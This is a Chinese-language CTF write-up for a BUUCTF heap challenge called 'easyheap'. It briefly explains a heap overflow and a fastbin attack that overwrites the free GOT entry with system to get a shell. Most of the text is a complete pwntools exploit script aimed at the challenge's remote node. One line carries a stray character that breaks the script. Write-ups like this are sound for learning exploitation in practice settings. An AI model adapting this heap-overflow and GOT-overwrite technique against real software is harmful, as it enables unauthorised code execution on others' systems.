通过ida分析程序可以得知 该程序存在堆溢出漏洞 题目中的后门是假的(利用不了
对堆进行编辑的时候 这里写入内容的大小是可以自定义的 所以这里是存在漏洞的
利用思路:
创建chunk 0 1 2 ,chunk1 写入/bin/sh 同时填入垃圾数据 覆盖到chunk2 的 fd指针的位置(free后)fd指针指向的位置 ,要求能绕过 malloc fastbins 的检查 ,即伪造chunk的 size位 小于0x80 。
然后编辑chunk0 修改free_got 的地址 改为 system函数的地址
这样 free chunk1 即可 get shell
exp:
from pwn import *
context(os = "linux", log_level ='debug',arch = "amd64")
#p = process('./easyheap')
p = remote("node4.buuoj.cn",28914)
elf =ELF('./easyheap')
def create(size,content):
p.recvuntil('Your choice :')
p.sendline('1')
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap:')
p.send(str(content))
def edit(index,size,content):
p.recvuntil('Your choice :')
p.sendline('2')
p.recvuntil('Index :')
p.sendline(str(index))
p.recvuntil('Size of Heap : ')
p.send(str(size))
p.recvuntil('Content of heap : ')
p.send(str(content))
def free(index):
p.recvuntil('Your choice :')
p.sendline('3')
p.recvuntil('Index :')
p.sendline(str(index))
free_got = elf.got['free']
flag = 0x400c32
create(0x68,'aaaa')
create(0x68,'bbbb')
create(0x68,'cccc')
free(2)
payload = '/bin/sh\x00' + 'a' * 0x60 + p64(0x71) + p64(0x6020b0-3)
edit(1,len(payload),payload)
# gdb.attach(p)
# pause()
create(0x68,'aaaa')
create(0x68,'c')
payload = '\xaa' * 3 + p64(0) * 4 + p64(free_got)
edit(3,len(payload),payload)d
payload = p64(elf.plt["system"]) #
edit(0,len(payload),payload)
free(1)
#gdb.attach(p)
p.interactive()